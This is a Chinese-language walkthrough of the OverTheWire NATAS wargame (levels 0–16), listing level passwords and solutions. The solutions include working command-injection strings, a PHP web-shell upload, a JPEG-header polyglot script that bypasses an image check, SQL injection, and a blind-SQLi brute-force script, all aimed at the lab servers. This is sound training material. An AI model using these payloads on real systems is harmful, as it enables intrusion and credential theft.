# NATAS Write-up(NATAS 中文解答)
[TOC]
## [NATAS 0](http://natas0.natas.labs.overthewire.org)
> - Link: http://natas0.natas.labs.overthewire.org
> - Username: natas0
> - Password: natas0
1. 打開網頁原始碼,即可看到 NATAS 1 的密碼。
## [NATAS 1](http://natas1.natas.labs.overthewire.org)
> - Link: http://natas1.natas.labs.overthewire.org
> - Username: natas1
> - Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
1. 這題禁止使用右鍵,所以打不開開發者工具,可以用以下兩種方法開啟開發者工具:
- 按鍵盤上的 F12 鍵打開開發者工具
- 點擊瀏覽器右上角的三個點 > More Tools > Developer Tools
2. 打開後就會看到 NATAS 2 的密碼了。
## [NATAS 2](http://natas2.natas.labs.overthewire.org)
> - Link: http://natas2.natas.labs.overthewire.org
> - Username: natas2
> - Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
1. 在 Developer Tools 中的 Sources 分頁可以看到一個 `files` 的資料夾,當中只有一個 `pixel.png` 的檔案,故思考 `files` 資料夾中是否有其他檔案。
2. 在網址列後方加入 `/files` 變成 `http://natas2.natas.labs.overthewire.org/files` 後,發現還有一個 `users.txt` 的檔案。
3. 點擊打開 `users.txt` 後,就看到 NATAS 3 的密碼了。
## [NATAS 3](http://natas3.natas.labs.overthewire.org)
> - Link: http://natas3.natas.labs.overthewire.org
> - Username: natas3
> - Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
1. 打開原始碼後看到 `<!-- No more information leaks!! Not even Google will find it this time... -->`。
2. 不讓 Google 搜尋顯示網站的方法有兩種:
參考文獻:https://www.da-vinci.com.tw/tw/blog/robots_noindex
- 在原始碼加入 noindex
- 撰寫跟目錄的 `robots.txt` 限制爬取資料
3. 猜測 NATAS 4 的在 `robots.txt` 中。
4. 在網址後方加入 `/robots.txt`,變成 `http://natas3.natas.labs.overthewire.org/robots.txt`。
5. 看到路徑 `/s3cr3t/` 被禁止存取。
6. 故前往 `/s3cr3t/`,變成 `http://natas3.natas.labs.overthewire.org/s3cr3t/`,並看見一個 `users.txt` 的檔案。
7. 點開 `users.txt` 後,就得到 NATAS 4 的密碼了。
## [NATAS 4](http://natas4.natas.labs.overthewire.org)
> - Link: http://natas4.natas.labs.overthewire.org
> - Username: natas4
> - Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
1. 網頁顯示僅允許來自 `http://natas5.natas.labs.overthewire.org/` 的使用者存取。
2. 打開 Developer Tools 的 Network 分頁後,看到 `index.php` 封包中有一個 `Host` 標籤,透過 [`ModHeader`](https://chromewebstore.google.com/detail/modheader-modify-http-hea/idgpnmonknjnojddfkpgkljpfnnfcklj) 等工具,將 `Referer` 的內容改成 `http://natas5.natas.labs.overthewire.org/`,點擊網頁中的 `Refresh page`,即可看到 NATAS 5 的密碼。
## [NATAS 5](http://natas5.natas.labs.overthewire.org)
> - Link: http://natas5.natas.labs.overthewire.org
> - Username: natas5
> - Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
1. 網頁顯示沒有登入。
2. 打開 Developer Tools 的 Application 分頁,看到 Cookie 中有一個 `loggedin` 的值為 `0`。
3. 雙擊 `loggedin` 的值,並修改成 `1` 後,重新整理就看到 NATAS 6 的密碼了。
## [NATAS 6](http://natas6.natas.labs.overthewire.org)
> - Link: http://natas6.natas.labs.overthewire.org
> - Username: natas6
> - Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
1. 點擊 `View sourcecode`後,打開網頁後端原始碼。
2. 發現要讓網頁吐出 NATAS 7 密碼的方式,就是讓 `$secret` 與 `$_POST['secret']` 的內容相符。也就是說:網頁中輸入框的文字必須與 `$secret` 相符。
3. 在後端原始碼中找了一下,發現找不到 `$secret` 的宣告或賦值指令,故推測該值為後端原始碼中的 `include "includes/secret.inc";` 代入的。
4. 回到前端網頁,在網址列後方加入 `/includes/secret.inc`,就看到 `$secret` 的值為 `FOEIUWGHFEEUHOFUOIU`。
5. 在網頁輸入框中,輸入 `$secret` 的值:`FOEIUWGHFEEUHOFUOIU`。
6. 就得到 NATAS 7 的密碼了。
## [NATAS 7](http://natas7.natas.labs.overthewire.org)
> - Link: http://natas7.natas.labs.overthewire.org
> - Username: natas7
> - Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
1. 點擊 `Home` 或 `About` 後,發現連結中的 `page` 參數會隨之改變。
2. 嘗試改變 `page` 參數後,會發現顯示錯誤訊息:找不到這樣的路徑。
3. 回到官網:[`OverTheWire`](https://overthewire.org/wargames/natas/),看到密碼均存在 `/etc/natas_webpass/natas?`(`?` 是題號的數字,例如:NATA 7 的密碼就存在 `/etc/natas_webpass/natas7`)
4. 回到 NATAS 7,在網址列中的 `page` 參數修改成 `/etc/natas_webpass/natas8` 後,就得到 NATAS 8 的密碼了。
## [NATAS 8](http://natas8.natas.labs.overthewire.org)
> - Link: http://natas8.natas.labs.overthewire.org
> - Username: natas8
> - Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
1. 點擊 `View soursecode` 查看後端 php 原始碼。
2. 有一個函式 `encodeSecret()` 會將輸入的值,經過以下處理並回傳:
1. 進行 Base64 編碼
2. 將字串反轉
3. 將二進位轉換成十六進位
3. 查看主函式發現讓輸入框中的文字經過 `encodeSecret()` 函式計算後,只要與 `$encodedSecret` 相等,就能得到 NATAS 9 的密碼。
4. 想達成上一點的條件,就需要將 `$encodedSecret` 變數的文字反向解碼,以下是解碼的步驟:
1. 十六進位轉二進位
2. 字串反轉
3. Base64 解碼
5. 將上一點的解碼 `oubWYf2kBq` 貼上輸入框並送出,就得到 NATAS 9 的密碼了。
## [NATAS 9](http://natas9.natas.labs.overthewire.org)
> - Link: http://natas9.natas.labs.overthewire.org
> - Username: natas9
> - Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
1. 打開網頁 php 原始碼,看到 `passthru()` 函式,這個函式可以執行任何 shell 指令。
2. 由程式碼可看出,該行程式會在 `dictionary.txt` 中尋找字串,而尋找的字串即為輸入框輸入的值。
3. 可以使用 `;` 分開多個執行指令,所以在輸入框的輸入值前後各加入一個 `;`,就能執行任意指令了!
5. 使用 `cat /etc/natas_webpass/natas10` 指令即可讀取 `/etc/natas_webpass/natas10` 檔案的內容。
6. 在輸入框中輸入 `;cat /etc/natas_webpass/natas10;`,就得到 NATAS 10 的密碼了。
## [NATAS 10](http://natas10.natas.labs.overthewire.org)
> - Link: http://natas10.natas.labs.overthewire.org
> - Username: natas10
> - Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
1. 在這關中,因為禁止了一些字元的輸入,所以無法像 NATAS 9 一樣利用分號隔開指令,並任意執行。
2. 但仍可用正規表達式中的 `.*` 輸出檔案中的所有內容。
3. 在輸入框中輸入 `".*" /etc/natas_webpass/natas11` 後,就在輸出的第一行得到 NATAS 11 的密碼了。
## [NATAS 11](http://natas11.natas.labs.overthewire.org)
> - Link: http://natas11.natas.labs.overthewire.org
> - Username: natas11
> - Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
1. 觀察原始碼,以下是原始碼之邏輯流程圖。
```mermaid
graph TD;
subgraph loadData Function
A([開始]);
A --> B{篩選各種不是很重要的判斷式};
B -- Yes --> C[/讀取 Cookie 中 $data 值/];
C --> D[對其進行 Base64 解密];
D --> E[對其再進行 XOR 運算(尚不知道 Key 值)];
E --> F[將其 JSON 格式轉換成 Array];
F --> J[/回傳解碼後之值/]
B -- No --> G[/回傳預設值/];
end
subgraph 設定背景色
G --> H[將 Cookie 中 $data 的背景色值,設定成前端輸入框的值];
J --> H;
end
subgraph 回傳 Cookie
H --> I[/讀取 $data 解密後的值/];
I --> K[將其 Array 格式轉換成 JSON 格式];
K --> L[對其進行 XOR 運算(與 loadData Function 的 Key 值相同)];
L --> M[對其進行 Base64 加密];
M --> N[/回傳至前端編碼後的 Cookie/];
end
subgraph 顯示 NATAS 12 之密碼
N --> O{判斷 $data 中的 showpassword 值是否為 yes};
O -- Yes --> P[/回傳 NATAS 12 密碼並顯示在前端/];
end
O -- No --> Q([結束]);
P --> Q;
```
2. 由上流程圖可知將 Cookie 中 data 的 showpassword 值設定為 yes 即可獲得 NATAS 12 的密碼。
3. 在將 showpassword 的值設定成 yes 之前,必須先得知 XOR 的 Key。
4. 目前 Cookie 中的 data 值為預設的值,所以我們可以將以下兩物件進行 XOR 運算,即可得到 Key。
1. 預設值轉換成 JSON 格式
2. data 值進行 Base64 的解密
5. 可透過以下程式獲得預設值的 JSON 格式。
```php=
<?php
$a = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
echo json_encode($a);
?>
```
6. 獲得預設值的 JSON 格式為:`{"showpassword":"no","bgcolor":"#ffffff"}`。
7. 將 Cookie 中 data 值進行 Base64 解密後,與上方 JSON 資料進行 XOR 運算後得到 Key 為:`eDWo`,可透過稍作修改該網頁之 php 原始碼進行 XOR 運算,範例程式如下:
```php=
<?php
$text1 = '{"showpassword":"no","bgcolor":"#ffffff"}';
$text2 = base64_decode("HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D");
$key = '';
for($i=0;$i<strlen($text1);$i++) {
$key .= $text1[$i] ^ $text2[$i % strlen($text1)];
}
echo $key;
?>
```
9. 將 `{"showpassword":"yes","bgcolor":"#ffffff"}` 與 Key 值:`eDWo` 進行 XOR 運算後,進行 Base64 編碼得到:`HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5`。
10. 將其設定為 Cookie 的 data 值後重新整理,就得到 NATAS 12 的密碼了!恭喜你完成了一個困難的任務 XD。
## [NATAS 12](http://natas12.natas.labs.overthewire.org)
> - Link: http://natas12.natas.labs.overthewire.org
> - Username: natas12
> - Password: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
1. 打開題目後會看到可以查看原始 PHP 程式碼,以下提供附上程式碼並逐行註解說明程式。
```php=
<?php
function genRandomString() { // 製作一個隨機的亂碼字串
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) { // 重製檔名
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) { // 獲取隱藏輸入框之內容並取得副檔名後,呼叫製作隨機檔名
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); // 設定 target_path 變數為呼叫 makeRandomPathFromFilename 函式並帶入兩個值回傳之值,帶入之兩參數分別為 "upload" 字串與一個隱藏在前端網頁中的輸入框內容。
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { // 判斷檔案是否超過 1 KB。
echo "File is too big"; // 檔案若超過 1 KB 則回傳「File is too big」。
} else { // 若檔案小於 1 KB,則上傳並回傳檔案上傳路徑。
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { // 上傳檔案至 target_path 變數之路徑
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; // 回傳檔案上傳之位置
} else{
echo "There was an error uploading the file, please try again!"; // 若上傳錯誤則回傳「There was an error uploading the file, please try again!」
}
}
} else {
?>
```
2. 由上述程式碼猜測為檔案上傳漏洞。
3. 於是先製作一個 PHP 檔,其內容如下,以進行 RCE 獲取密碼。
```php=
<?php
system("cat /etc/natas_webpass/natas13");
?>
```
4. 為使其儲存成 PHP 檔,隱藏透過點擊鍵盤 F12 打開開發者工具,並將一個名為 `filename` 隱藏輸入框的值副檔名修改成 `.php`。
5. 接著上傳第三步製作的 PHP 檔後,網站回傳檔案上傳之路徑,將其打開後就看到 NATAS 13 的密碼了。
## [NATAS 13](http://natas13.natas.labs.overthewire.org)
> - Link: http://natas13.natas.labs.overthewire.org
> - Username: natas13
> - Password: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
1. 觀察此題提供之原始碼發現其透過 `exif_imagetype()` 函式判斷是否為圖像檔,避免遭到檔案上傳漏洞的攻擊。
2. 然而攻擊者仍可透過一些方式繞過這個函式,此函式判斷是否為圖像的依據為查看檔案的標頭。以 jpeg 為例,其標頭為:`0xFF 0xD8 0xFF 0xE0`。
3. 故撰寫一個 Python 程式製作一個可繞過 `exif_imagetype()` 函式並進行攻擊的 jpeg 檔,範例程式如下:
```python=
shell=open('natas13.jpeg','wb')
shell.write(b'\xFF\xD8\xFF\xE0'+b"<?php passthru('cat /etc/natas_webpass/natas14');")
shell.close()
```
4. 接著就是類似 NATAS 12 的作法:將隱藏的文字方塊修改並上傳後打開回傳的路徑就得到 NATAS 14 的密碼了。
## [NATAS 14](http://natas14.natas.labs.overthewire.org)
> - Link: http://natas14.natas.labs.overthewire.org
> - Username: natas14
> - Password: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
1. 查看前端和網頁原始碼,看起來就很 SQLi。
2. Username 輸入 `" OR 1=1 #`,Password 留空,點擊 Login 就得到 NATAS 15 的密碼了。
## [NATAS 15](http://natas15.natas.labs.overthewire.org)
> - Link: http://natas15.natas.labs.overthewire.org
> - Username: natas15
> - Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
1. 看來是個 Blind SQLi,寫程式把 NATAS 16 的密碼一個一個吐出來:
```python=
import requests
words = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = ""
def r(password):
url = 'http://natas15.natas.labs.overthewire.org/index.php?username='+password
headers = {
'Host': 'natas15.natas.labs.overthewire.org',
'Authorization': 'Basic bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA=='
}
response = requests.get(url, headers=headers)
return response
for j in range(32):
for i in words:
password = '"+OR+password+LIKE+BINARY+"' + key + i + "%" + '"+--+'
response=r(password)
if("This user exists." in response.text):
key+=i
print(key)
break
```
2. 最後得到 NATAS 16 的密碼。
## [NATAS 16](http://natas16.natas.labs.overthewire.org)
> - Link: http://natas16.natas.labs.overthewire.org
> - Username: natas16
> - Password: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo